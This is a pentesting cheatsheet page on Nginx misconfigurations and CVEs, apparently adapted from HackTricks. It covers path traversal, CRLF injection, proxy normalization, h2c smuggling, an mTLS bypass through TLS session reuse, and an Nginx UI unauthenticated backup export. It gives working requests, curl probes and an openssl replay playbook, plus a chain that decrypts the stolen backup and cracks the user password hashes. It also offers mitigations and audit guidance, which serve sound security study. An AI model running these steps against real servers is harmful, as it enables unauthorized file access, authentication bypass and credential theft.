daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

nginx.md (33408B)


      1 ---
      2 title: "Nginx"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/nginx.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/nginx.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Nginx
     14 
     15 ## Missing root location <a href="#missing-root-location" id="missing-root-location"></a>
     16 
     17 When configuring the Nginx server, the **root directive** plays a critical role by defining the base directory from which files are served. Consider the example below:
     18 
     19 ```bash
     20 server {
     21         root /etc/nginx;
     22 
     23         location /hello.txt {
     24                 try_files $uri $uri/ =404;
     25                 proxy_pass http://127.0.0.1:8080/;
     26         }
     27 }
     28 ```
     29 
     30 In this configuration, `/etc/nginx` is designated as the root directory. This setup allows access to files within the specified root directory, such as `/hello.txt`. However, it's crucial to note that only a specific location (`/hello.txt`) is defined. There's no configuration for the root location (`location / {...}`). This omission means that the root directive applies globally, enabling requests to the root path `/` to access files under `/etc/nginx`.
     31 
     32 A critical security consideration arises from this configuration. A simple `GET` request, like `GET /nginx.conf`, could expose sensitive information by serving the Nginx configuration file located at `/etc/nginx/nginx.conf`. Setting the root to a less sensitive directory, like `/etc`, could mitigate this risk, yet it still may allow unintended access to other critical files, including other configuration files, access logs, and even encrypted credentials used for HTTP basic authentication.<sup>[[1]](#references)</sup>
     33 
     34 ## Alias LFI misconfiguration <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
     35 
     36 In the configuration files of Nginx, a close inspection is warranted for the "location" directives. A vulnerability known as Local File Inclusion (LFI) can be inadvertently introduced through a configuration that resembles the following:
     37 
     38 ```text
     39 location /imgs {
     40     alias /path/images/;
     41 }
     42 ```
     43 
     44 This configuration is prone to LFI attacks due to the server interpreting requests like `/imgs../flag.txt` as an attempt to access files outside the intended directory, effectively resolving to `/path/images/../flag.txt`. This flaw allows attackers to retrieve files from the server's filesystem that should not be accessible via the web.<sup>[[12]](#references)</sup>
     45 
     46 To mitigate this vulnerability, the configuration should be adjusted to:
     47 
     48 ```text
     49 location /imgs/ {
     50     alias /path/images/;
     51 }
     52 ```
     53 
     54 More info: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)<sup>[[12]](#references)</sup>
     55 
     56 Acunetix tests:
     57 
     58 ```text
     59 alias../ => HTTP status code 403
     60 alias.../ => HTTP status code 404
     61 alias../../ => HTTP status code 403
     62 alias../../../../../../../../../../../ => HTTP status code 400
     63 alias../ => HTTP status code 403
     64 ```
     65 
     66 ## Unsafe path restriction <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
     67 
     68 Check the following page to learn how to bypass directives like:
     69 
     70 ```plaintext
     71 location = /admin {
     72     deny all;
     73 }
     74 
     75 location = /admin/ {
     76     deny all;
     77 }
     78 ```
     79 
     80 
     81 [Proxy Waf Protections Bypass](/hacktricks/pentesting-web/proxy-waf-protections-bypass)
     82 
     83 ## Unsafe variable use / HTTP Request Splitting <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
     84 
     85 > [!CAUTION]
     86 > Variables containing a normalized URI, such as `$uri` and `$document_uri`, become dangerous when inserted into response headers or reconstructed upstream requests. `$request_uri` preserves the original request URI, but it is not a universal drop-in fix: validate the destination context and reject CR/LF or ambiguous path encodings.
     87 >
     88 > A regex can also be vulnerable like:
     89 >
     90 > `location ~ /docs/([^/])? { … $1 … }` - Vulnerable
     91 >
     92 > `location ~ /docs/([^/\s])? { … $1 … }` - Not vulnerable (checking spaces)
     93 >
     94 > `location ~ /docs/(.*)? { … $1 … }` - Not vulnerable
     95 
     96 A vulnerability in Nginx configuration is demonstrated by the example below:
     97 
     98 ```text
     99 location / {
    100   return 302 https://example.com$uri;
    101 }
    102 ```
    103 
    104 The characters \r (Carriage Return) and \n (Line Feed) signify new line characters in HTTP requests, and their URL-encoded forms are represented as `%0d%0a`. Including these characters in a request (e.g., `http://localhost/%0d%0aDetectify:%20clrf`) to a misconfigured server results in the server issuing a new header named `Detectify`. This happens because the $uri variable decodes the URL-encoded new line characters, leading to an unexpected header in the response:<sup>[[13]](#references)</sup>
    105 
    106 ```text
    107 HTTP/1.1 302 Moved Temporarily
    108 Server: nginx/1.19.3
    109 Content-Type: text/html
    110 Content-Length: 145
    111 Connection: keep-alive
    112 Location: https://example.com/
    113 Detectify: clrf
    114 ```
    115 
    116 Learn more about the risks of CRLF injection and response splitting at [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).<sup>[[13]](#references)</sup>
    117 
    118 This technique is also [**explained in this talk**](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77), with vulnerable examples and detection mechanisms.<sup>[[14]](#references)</sup> For example, to detect the misconfiguration from a black-box perspective, compare these requests:
    119 
    120 - `https://example.com/%20X` - Any HTTP code
    121 - `https://example.com/%20H` - 400 Bad Request
    122 
    123 If vulnerable, the first will return as "X" is any HTTP method and the second will return an error as H is not a valid method. So the server will receive something like: `GET / H HTTP/1.1` and this will trigger the error.
    124 
    125 Other detection examples are:
    126 
    127 - `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Any HTTP code
    128 - `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
    129 
    130 Some found vulnerable configurations presented in that talk were:
    131 
    132 - Note how **`$uri`** is set as is in the final URL
    133 
    134 ```text
    135 location ^~ /lite/api/ {
    136  proxy_pass http://lite-backend$uri$is_args$args;
    137 }
    138 ```
    139 
    140 - Note how again **`$uri`** is in the URL (this time inside a parameter)
    141 
    142 ```text
    143 location ~ ^/dna/payment {
    144  rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
    145  proxy_pass http://$back;
    146 ```
    147 
    148 - Now in AWS S3
    149 
    150 ```text
    151 location /s3/ {
    152  proxy_pass https://company-bucket.s3.amazonaws.com$uri;
    153 }
    154 ```
    155 
    156 ### Any variable
    157 
    158 It was discovered that **user-supplied data** might be treated as an **Nginx variable** under certain circumstances. The cause of this behavior remains somewhat elusive, yet it's not rare nor straightforward to verify. This anomaly was highlighted in a security report on HackerOne, which can be viewed [here](https://hackerone.com/reports/370094). Further investigation into the error message led to the identification of its occurrence within the [SSI filter module of Nginx's codebase](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), pinpointing Server Side Includes (SSI) as the root cause.<sup>[[1]](#references)[[15]](#references)</sup>
    159 
    160 To **detect this misconfiguration**, the following command can be executed, which involves setting a referer header to test for variable printing:
    161 
    162 ```bash
    163 $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’
    164 ```
    165 
    166 Scans for this misconfiguration across systems revealed multiple instances where Nginx variables could be printed by a user. However, a decrease in the number of vulnerable instances suggests that efforts to patch this issue have been somewhat successful.<sup>[[1]](#references)</sup>
    167 
    168 ### Using try_files with $URI$ARGS variables
    169 
    170 The following Nginx misconfiguration can lead to LFI:
    171 ```text
    172 location / {
    173 		try_files $uri$args $uri$args/ /index.html;
    174 }
    175 ```
    176 The `try_files` directive checks for files in the specified order and serves the first match. Its basic syntax is:
    177 ```text
    178 try_files file1 file2 ... fileN fallback;
    179 ```
    180 
    181 Nginx will check for the existence of each file in the specified order. If a file exists, it will be served immediately. If none of the specified files exist, the request will be passed to the fallback option, which can be another URI or a specific error page.
    182 
    183 When `$uri$args` is used as a filesystem candidate, Nginx concatenates the normalized URI and raw query arguments into the path it tests. This unsafe mixing can make traversal content from the query string part of the filename. Consider this exploitable configuration:
    184 ```text
    185 http {
    186 	server {
    187 	    root /var/www/html/public;
    188 
    189 	    location / {
    190 		try_files $uri$args $uri$args/ /index.html;
    191 	    }
    192 	}
    193 }
    194 ```
    195 
    196 With following payload:
    197 ```text
    198 GET /?../../../../../../../../etc/passwd HTTP/1.1
    199 Host: example.com
    200 ```
    201 
    202 The payload escapes the configured root directory and loads `/etc/passwd`. Debug logs show the paths Nginx tests:
    203 
    204 ```text
    205 ...SNIP...
    206 
    207 2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
    208 2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"
    209 
    210 ...SNIP...
    211 
    212 2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"
    213 
    214 ...SNIP...
    215 
    216 2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK
    217 
    218 ```
    219 
    220 PoC againts Nginx using the configuration mentioned above:
    221 ![Example burp request](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/nginx_try_files.png)
    222 
    223 ## Raw backend response reading
    224 
    225 Nginx offers a feature through `proxy_pass` that allows for the interception of errors and HTTP headers produced by the backend, aiming to hide internal error messages and headers. This is accomplished by Nginx serving custom error pages in response to backend errors. However, challenges arise when Nginx encounters an invalid HTTP request. Such a request gets forwarded to the backend as received, and the backend's raw response is then directly sent to the client without Nginx's intervention.<sup>[[1]](#references)</sup>
    226 
    227 Consider an example scenario involving a uWSGI application:
    228 
    229 ```python
    230 def application(environ, start_response):
    231     start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
    232     return [b"Secret info, should not be visible!"]
    233 ```
    234 
    235 To manage this, specific directives in the Nginx configuration are used:
    236 
    237 ```text
    238 http {
    239     error_page 500 /html/error.html;
    240     proxy_intercept_errors on;
    241     proxy_hide_header Secret-Header;
    242 }
    243 ```
    244 
    245 - [**proxy_intercept_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): This directive enables Nginx to serve a custom response for backend responses with a status code greater than 300. It ensures that, for our example uWSGI application, a `500 Error` response is intercepted and handled by Nginx.
    246 - [**proxy_hide_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): As the name suggests, this directive hides specified HTTP headers from the client, enhancing privacy and security.
    247 
    248 When a valid `GET` request is made, Nginx processes it normally, returning a standard error response without revealing any secret headers. However, an invalid HTTP request bypasses this mechanism, resulting in the exposure of raw backend responses, including secret headers and error messages.
    249 
    250 ## merge_slashes set to off
    251 
    252 By default, Nginx's **`merge_slashes` directive** is set to **`on`**, which compresses multiple forward slashes in a URL into a single slash. This feature, while streamlining URL processing, can inadvertently conceal vulnerabilities in applications behind Nginx, particularly those prone to local file inclusion (LFI) attacks. Security experts **Danny Robinson and Rotem Bar** have highlighted the potential risks associated with this default behavior, especially when Nginx acts as a reverse-proxy.<sup>[[16]](#references)</sup>
    253 
    254 Do not treat `merge_slashes off` as a security fix. Disabling normalization may be useful during testing or required by an application, but it can expose backend traversal behavior that the default setting happened to mask. Align proxy and backend canonicalization, reject ambiguous paths, and enforce authorization on the canonical route.<sup>[[16]](#references)</sup>
    255 
    256 For more information check [Danny Robinson and Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).<sup>[[16]](#references)</sup>
    257 
    258 ## `proxy_pass` path normalization & encoded slash confusion
    259 
    260 A less obvious but very common reverse-proxy bug appears when a **prefix location** is combined with a `proxy_pass` that also contains a **URI path**. According to the [official `proxy_pass` docs](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass), if a URI is present in `proxy_pass`, nginx forwards the **normalized** request URI to the backend. That means **percent-decoding** and **dot-segment normalization** happen before the upstream sees the path.<sup>[[7]](#references)[[20]](#references)</sup>
    261 
    262 Example of risky configuration:
    263 
    264 ```nginx
    265 location /api/ {
    266     proxy_pass http://backend/;
    267 }
    268 ```
    269 
    270 With this configuration, a request such as `GET /api/public%2F%2E%2E%2Fsecret HTTP/1.1` is normalized by nginx to `/api/secret`, the `/api/` prefix is stripped, and the backend receives `/secret`. This creates several practical attack paths:
    271 
    272 - **Backend ACL bypasses** when nginx exposes only `/api/public/*` but the application also serves sensitive routes behind the same upstream
    273 - **Cache/key confusion** when the frontend and backend disagree on what resource was actually requested
    274 - **Breaking client-side mitigations** that relied on the browser keeping `%2F` encoded
    275 
    276 ### What to look for
    277 
    278 From a config review perspective, prioritize blocks like:
    279 
    280 ```nginx
    281 location /prefix/ {
    282     proxy_pass http://upstream/;
    283 }
    284 
    285 location /prefix/ {
    286     proxy_pass http://upstream/app/;
    287 }
    288 ```
    289 
    290 These deserve extra attention if the upstream exposes both public and internal routes, or if nginx is used to enforce path-based authorization. This is closely related to the path-confusion ACL bypasses explained [in this page](/hacktricks/pentesting-web/proxy-waf-protections-bypass).
    291 
    292 ### Black-box probes
    293 
    294 ```bash
    295 # Compare a legitimate public path with an encoded traversal variant
    296 curl -i https://target.tld/api/public/info
    297 curl -i https://target.tld/api/public%2F%2E%2E%2Fsecret
    298 
    299 # If the backend reflects the route, look for normalization side effects
    300 curl -i https://target.tld/api/foo%2F%2E%2E%2F
    301 ```
    302 
    303 If the second request suddenly returns a different upstream route, a login page, an admin-only response, or a cacheable private object, suspect `proxy_pass` normalization issues.
    304 
    305 ### Safer patterns
    306 
    307 If nginx only needs to forward the request, prefer omitting the URI part:
    308 
    309 ```nginx
    310 location /api/ {
    311     proxy_pass http://backend;
    312 }
    313 ```
    314 
    315 If the path must be rewritten before proxying, explicitly define which canonical form is authorized and forwarded. `$request_uri` preserves the original path and arguments, whereas rewrite processing uses normalized URI state; forwarding the raw value can itself be unsafe unless encoded separators and dot segments are rejected.
    316 
    317 ### **Malicious Response Headers**
    318 
    319 As shown in [**this writeup**](https://mizu.re/post/cors-playground), certain upstream response headers change Nginx proxy behavior.<sup>[[17]](#references)</sup> They are listed in the [X-Accel documentation](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/).<sup>[[21]](#references)</sup>
    320 
    321 - `X-Accel-Redirect`: Instructs Nginx to internally redirect a request to a specified location.
    322 - `X-Accel-Buffering`: Controls whether Nginx should buffer the response or not.
    323 - `X-Accel-Charset`: Sets the character set for the response when using X-Accel-Redirect.
    324 - `X-Accel-Expires`: Sets the expiration time for the response when using X-Accel-Redirect.
    325 - `X-Accel-Limit-Rate`: Limits the rate of transfer for responses when using X-Accel-Redirect.
    326 
    327 For example, the header **`X-Accel-Redirect`** will cause an internal **redirect** in the nginx. So having an nginx configuration with something such as **`root /`** and a response from the web server with **`X-Accel-Redirect: .env`** will make nginx sends the content of **`/.env`** (Path Traversal).
    328 
    329 ### **Default Value in Map Directive**
    330 
    331 In the **Nginx configuration**, the `map` directive often plays a role in **authorization control**. A common mistake is not specifying a **default** value, which could lead to unauthorized access.<sup>[[3]](#references)</sup> For instance:
    332 
    333 ```yaml
    334 http {
    335 map $uri $mappocallow {
    336 /map-poc/private 0;
    337 /map-poc/secret 0;
    338 /map-poc/public 1;
    339 }
    340 }
    341 ```
    342 
    343 ```yaml
    344 server {
    345     location /map-poc {
    346         if ($mappocallow = 0) {return 403;}
    347         return 200 "Hello. It is private area: $mappocallow";
    348     }
    349 }
    350 ```
    351 
    352 Without a `default`, a **malicious user** can bypass security by accessing an **undefined URI** within `/map-poc`. [The Nginx manual](https://nginx.org/en/docs/http/ngx_http_map_module.html) advises setting a **default value** to avoid such issues.
    353 
    354 ### **DNS Spoofing Vulnerability**
    355 
    356 DNS spoofing against Nginx is feasible under certain conditions. If an attacker knows the **DNS server** used by Nginx and can intercept its DNS queries, they can spoof DNS records. This method, however, is ineffective if Nginx is configured to use **localhost (127.0.0.1)** for DNS resolution.<sup>[[2]](#references)</sup> Nginx allows specifying a DNS server as follows:
    357 
    358 ```yaml
    359 resolver 8.8.8.8;
    360 ```
    361 
    362 ### **`proxy_pass` and `internal` Directives**
    363 
    364 The **`proxy_pass`** directive is utilized for redirecting requests to other servers, either internally or externally. The **`internal`** directive ensures that certain locations are only accessible within Nginx. While these directives are not vulnerabilities by themselves, their configuration requires careful examination to prevent security lapses.
    365 
    366 ## proxy_set_header Upgrade & Connection
    367 
    368 If the nginx server is configured to pass the Upgrade and Connection headers an [**h2c Smuggling attack**](/hacktricks/pentesting-web/h2c-smuggling) could be performed to access protected/internal endpoints.
    369 
    370 > [!CAUTION]
    371 > This vulnerability can let an attacker **establish a tunnel to the `proxy_pass` endpoint** (`http://backend:9999` in this case), bypassing Nginx's normal per-request path checks.
    372 
    373 Example of vulnerable configuration to steal `/flag` from [here](https://bishopfox.com/blog/h2c-smuggling-request):<sup>[[18]](#references)</sup>
    374 
    375 ```text
    376 server {
    377     listen       443 ssl;
    378     server_name  localhost;
    379 
    380     ssl_certificate       /usr/local/nginx/conf/cert.pem;
    381     ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;
    382 
    383     location / {
    384      proxy_pass http://backend:9999;
    385      proxy_http_version 1.1;
    386      proxy_set_header Upgrade $http_upgrade;
    387      proxy_set_header Connection $http_connection;
    388     }
    389 
    390     location /flag {
    391      deny all;
    392     }
    393 ```
    394 
    395 > [!WARNING]
    396 > Even if `proxy_pass` points to a specific **path**, such as `http://backend:9999/socket.io`, the upgraded connection is established with `http://backend:9999`. The tunneled protocol can therefore reach other paths on that internal endpoint; the path in `proxy_pass` does not constrain subsequent tunneled requests.
    397 
    398 ## HTTP/2 upstream request injection with `proxy_set_body`
    399 
    400 A newer nginx-specific audit point is the combination of **`proxy_http_version 2;`** and **`proxy_set_body`**. In the vulnerable 2026 advisory window, nginx could build an upstream HTTP/2 DATA frame whose announced length wrapped while the **full attacker-influenced body bytes** were still forwarded to the upstream peer. The practical consequence is that the upstream may interpret the trailing bytes as **new HTTP/2 frame headers / payload**, turning a body rewrite primitive into an **upstream request injection / desynchronization** primitive.<sup>[[4]](#references)</sup>
    401 
    402 This is especially interesting in internal API-gateway style deployments where nginx speaks HTTP/2 to the backend and the request body is rebuilt from user-controlled variables. Example audit pattern:
    403 
    404 ```nginx
    405 location /api/relay {
    406     proxy_pass http://backend;
    407     proxy_http_version 2;
    408     proxy_set_body $arg_data;
    409 }
    410 ```
    411 
    412 ### What to look for
    413 
    414 - `proxy_http_version 2;` in any reverse-proxy location
    415 - `proxy_set_body` fed from **request parameters, headers, captures, or variables**
    416 - Internal gRPC / HTTP/2 backends where an injected frame can change request semantics or reset other streams
    417 
    418 ### Testing idea
    419 
    420 If you can influence the bytes copied into `proxy_set_body`, send unusually large values and watch for:
    421 
    422 - upstream-only `RST_STREAM` / `GOAWAY` errors
    423 - backend behavior that differs from nginx access logs
    424 - responses that suggest the upstream parsed **more than one logical frame** from a single proxied request
    425 
    426 This is conceptually related to [HTTP/2 request smuggling and downgrading issues](/hacktricks/pentesting-web/http-request-smuggling/request-smuggling-in-http-2-downgrades), but here the trust boundary is between **nginx and its HTTP/2 upstream peer**.
    427 
    428 ## HTTP/3 QUIC module remote DoS & leak (2024)
    429 
    430 During 2024 Nginx disclosed CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 and CVE-2024-35200 showing that a **single hostile QUIC session** can crash worker processes or leak memory whenever the experimental `ngx_http_v3_module` is compiled in and a `listen ... quic` socket is exposed. Impacted builds are 1.25.0–1.25.5 and 1.26.0, while 1.27.0/1.26.1 ship the fixes; the memory disclosure (CVE-2024-34161) additionally requires MTUs larger than 4096 bytes to surface sensitive data (details in the 2024 nginx advisory referenced below).<sup>[[19]](#references)</sup>
    431 
    432 **Recon & exploitation hints**
    433 
    434 - HTTP/3 is opt-in, so scan for `Alt-Svc: h3=":443"` responses or brute-force UDP/443 QUIC handshakes; once confirmed, fuzz the handshake and STREAM frames with custom `quiche-client`/`nghttp3` payloads to trigger worker crashes and force log leakage.
    435 - Quickly fingerprint target support with:
    436 
    437 ```bash
    438 nginx -V 2>&1 | grep -i http_v3
    439 rg -n "listen .*quic" /etc/nginx/
    440 ```
    441 
    442 ## TLS session resumption bypass of client cert auth (CVE-2025-23419)
    443 
    444 A February 2025 advisory disclosed that nginx 1.11.4–1.27.3 built with OpenSSL allows **reusing a TLS 1.3 session** from one name-based virtual host inside another, so a client that negotiated a certificate-free host can replay the ticket/PSK to jump into a vhost protected with `ssl_verify_client on;` and skip mTLS entirely. The bug triggers whenever multiple virtual hosts share the same TLS 1.3 session cache and tickets (see the 2025 nginx advisory referenced below).<sup>[[5]](#references)</sup>
    445 
    446 **Attacker playbook**
    447 
    448 ```bash
    449 # 1. Create a TLS session on the public vhost and save the session ticket
    450 openssl s_client -connect public.example.com:443 -sess_out ticket.pem
    451 
    452 # 2. Replay that session ticket against the mTLS vhost before it expires
    453 openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof
    454 ```
    455 
    456 If the target is vulnerable, the second handshake completes without presenting a client certificate, revealing protected locations.
    457 
    458 **What to audit**
    459 
    460 - Mixed `server_name` blocks that share `ssl_session_cache shared:SSL` plus `ssl_session_tickets on;`.
    461 - Admin/API blocks that expect mTLS but inherit shared session cache/ticket settings from public hosts.
    462 - Automation that enables TLS 1.3 session resumption globally (e.g., Ansible roles) without considering vhost isolation.
    463 
    464 ## HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)
    465 
    466 The HTTP/2 Rapid Reset attack (CVE-2023-44487) still affects nginx when operators crank `keepalive_requests` or `http2_max_concurrent_streams` beyond the defaults: an attacker opens one HTTP/2 connection, floods it with thousands of streams, then immediately issues `RST_STREAM` frames so the concurrency ceiling is never reached while CPU keeps burning on tear-down logic. Nginx defaults (128 concurrent streams, 1000 keepalive requests) keep the blast radius small; pushing those limits "substantially higher" makes it trivial to starve workers even from a single client (see the F5 write-up referenced below).<sup>[[6]](#references)</sup>
    467 
    468 **Detection tips**
    469 
    470 ```bash
    471 # Highlight risky knobs
    472 rg -n "http2_max_concurrent_streams" /etc/nginx/
    473 rg -n "keepalive_requests" /etc/nginx/
    474 ```
    475 
    476 Hosts that reveal unusually high values for those directives are prime targets: one HTTP/2 client can loop through stream creation and instant `RST_STREAM` frames to keep CPU pegged without tripping the concurrency cap.
    477 
    478 ## Optional `mp4` module attack surface
    479 
    480 The `ngx_http_mp4_module` remains worth checking during nginx assessments because it is **not built by default**, but when it is enabled and a location uses the `mp4;` directive, a hostile MP4 can still become a worker-crash primitive. The 2024 advisory (CVE-2024-7347) showed that simply **requesting a specially crafted MP4 through nginx pseudo-streaming** was enough to crash a worker; later 2026 advisories show the same module is still a recurring source of parser bugs.<sup>[[8]](#references)</sup>
    481 
    482 From an offensive perspective, this matters whenever an attacker can:
    483 
    484 - upload or replace media files later served through nginx
    485 - force nginx to parse attacker-controlled MP4 files from shared storage / object stores
    486 - hit video endpoints that rely on nginx pseudo-streaming instead of passing the file straight through
    487 
    488 Quick triage on a box or container:
    489 
    490 ```bash
    491 nginx -V 2>&1 | grep -o -- '--with-http_mp4_module'
    492 rg -n '^\s*mp4\s*;' /etc/nginx /usr/local/nginx/conf 2>/dev/null
    493 ```
    494 
    495 If both checks hit, test every upload-to-stream path as a potential nginx crash surface, not just as an application-level media parser bug.
    496 
    497 ## Nginx UI pre-auth backup export + crypto material leakage
    498 
    499 **Nginx UI** is a separate admin panel for nginx, not the nginx daemon itself. In **Nginx UI < 2.3.3**, the backup export endpoint may be reachable **without authentication** and the response can also leak the **AES-256-CBC key and IV** needed to decrypt the backup via the `X-Backup-Security` header. This turns an "encrypted backup download" into immediate **credential / token / private-key disclosure**.<sup>[[10]](#references)[[11]](#references)</sup>
    500 
    501 ### Fast version fingerprinting from SPA assets
    502 
    503 If the login page is a JS-heavy SPA, pull the main bundle from `/` and look for a dedicated version chunk:<sup>[[9]](#references)</sup>
    504 
    505 ```bash
    506 curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
    507 curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
    508 curl -s http://admin.example/assets/version-<hash>.js
    509 ```
    510 
    511 On vulnerable Nginx UI builds this often returns a literal such as `const t="2.3.2"`, which is enough to match the vulnerable range before authenticating.
    512 
    513 ### Check exposed API endpoints and pull the backup
    514 
    515 Even when most `/api/*` routes return `403`, test backup-style endpoints directly:<sup>[[9]](#references)</sup>
    516 
    517 ```bash
    518 curl -s http://admin.example/api/install
    519 curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
    520 grep -i '^X-Backup-Security:' headers.txt
    521 unzip -l backup.zip
    522 ```
    523 
    524 If vulnerable, `X-Backup-Security` contains `base64(key):base64(iv)`. Decode both values and confirm the expected lengths (**32-byte key**, **16-byte IV**):
    525 
    526 ```bash
    527 KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
    528 KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
    529 IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
    530 unzip backup.zip -d backup
    531 openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
    532 openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
    533 openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
    534 ```
    535 
    536 After decryption, inspect the recovered nginx configs and the Nginx UI application data. A common post-exploitation path is:
    537 
    538 - Extract reverse-proxy and vhost details from `nginx_dec.zip`
    539 - Inspect `nginx-ui_dec.zip` for `app.ini`, `database.db`, API tokens, or certificate material
    540 - Dump the SQLite `users` table and crack recovered password hashes offline
    541 
    542 ```bash
    543 unzip nginx-ui_dec.zip -d nginx-ui
    544 sqlite3 nginx-ui/database.db 'select name,password from users;'
    545 hashcat -m 3200 hashes.txt <wordlist>
    546 ```
    547 
    548 This pattern is worth testing in other admin products too: **an unauthenticated "encrypted" export is still plaintext disclosure if the response leaks the decryption material or stores it alongside the archive.**
    549 
    550 ## Try it yourself
    551 
    552 Detectify has created a GitHub repository where you can use Docker to set up your own vulnerable Nginx test server with some of the misconfigurations discussed in this article and try finding them yourself!
    553 
    554 [https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
    555 
    556 ## Static Analyzer tools
    557 
    558 ### [gixy-ng](https://github.com/dvershinin/gixy) & [Gixy-Next](https://gixy.io/) & [GIXY](https://github.com/yandex/gixy)
    559 
    560 
    561 - [Gixy-Next](https://gixy.io/) (an updated fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.
    562 - [gixy-ng](https://github.com/dvershinin/gixy) (the actively maintained fork of GIXY) is a tool to analyze Nginx configurations, with the goal of finding vulnerabilities, insecure directives, and risky misconfigurations. It also finds misconfigurations affecting performance, and detects missed hardening opportunities, allowing automated flaw detection.
    563 
    564 ### [Nginxpwner](https://github.com/stark0de/nginxpwner)
    565 
    566 Nginxpwner is a simple tool to look for common Nginx misconfigurations and vulnerabilities.
    567 
    568 ## References
    569 
    570 - [1] [Common Nginx misconfigurations that leave your web server open to attack](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
    571 - [2] [Nginx resolver vulnerabilities allow cache poisoning attack](http://blog.zorinaq.com/nginx-resolver-vulns/)
    572 - [3] [Detection of scenario when default is not specified for map directive · Issue #115 · yandex/gixy](https://github.com/yandex/gixy/issues/115)
    573 - [4] [NVD - CVE-2026-42926: HTTP/2 request injection in ngx_http_proxy_v2_module](https://nvd.nist.gov/vuln/detail/CVE-2026-42926)
    574 - [5] [nginx security advisory (CVE-2025-23419)](https://mailman.nginx.org/pipermail/nginx-announce/2025/NYEUJX7NCBCGJGXDFVXNMAAMJDFSE45G.html)
    575 - [6] [HTTP/2 Rapid Reset Attack Impacting F5 NGINX Products](https://www.f5.com/company/blog/nginx/http-2-rapid-reset-attack-impacting-f5-nginx-products)
    576 - [7] [proxy_pass: nginx's Dangerous URL Normalization of Paths](https://joshua.hu/proxy-pass-nginx-decoding-normalizing-url-path-dangerous)
    577 - [8] [nginx security advisory (CVE-2024-7347)](https://mailman.nginx.org/pipermail/nginx-announce/2024/UUOCLLONPR6244YQYU65PO5LB7JDYCWM.html)
    578 - [9] [HTB: Snapped - 0xdf hacks stuff](https://0xdf.gitlab.io/2026/04/01/htb-snapped.html)
    579 - [10] [NVD - CVE-2026-27944](https://nvd.nist.gov/vuln/detail/CVE-2026-27944)
    580 - [11] [Nginx UI - Unauthenticated Backup Download with Encryption Key Disclosure (GHSA-g9w5-qffc-6762)](https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762)
    581 - [12] [Acunetix - Path Traversal via Misconfigured Nginx Alias](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
    582 - [13] [HTTP response splitting exploitations and mitigations](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/)
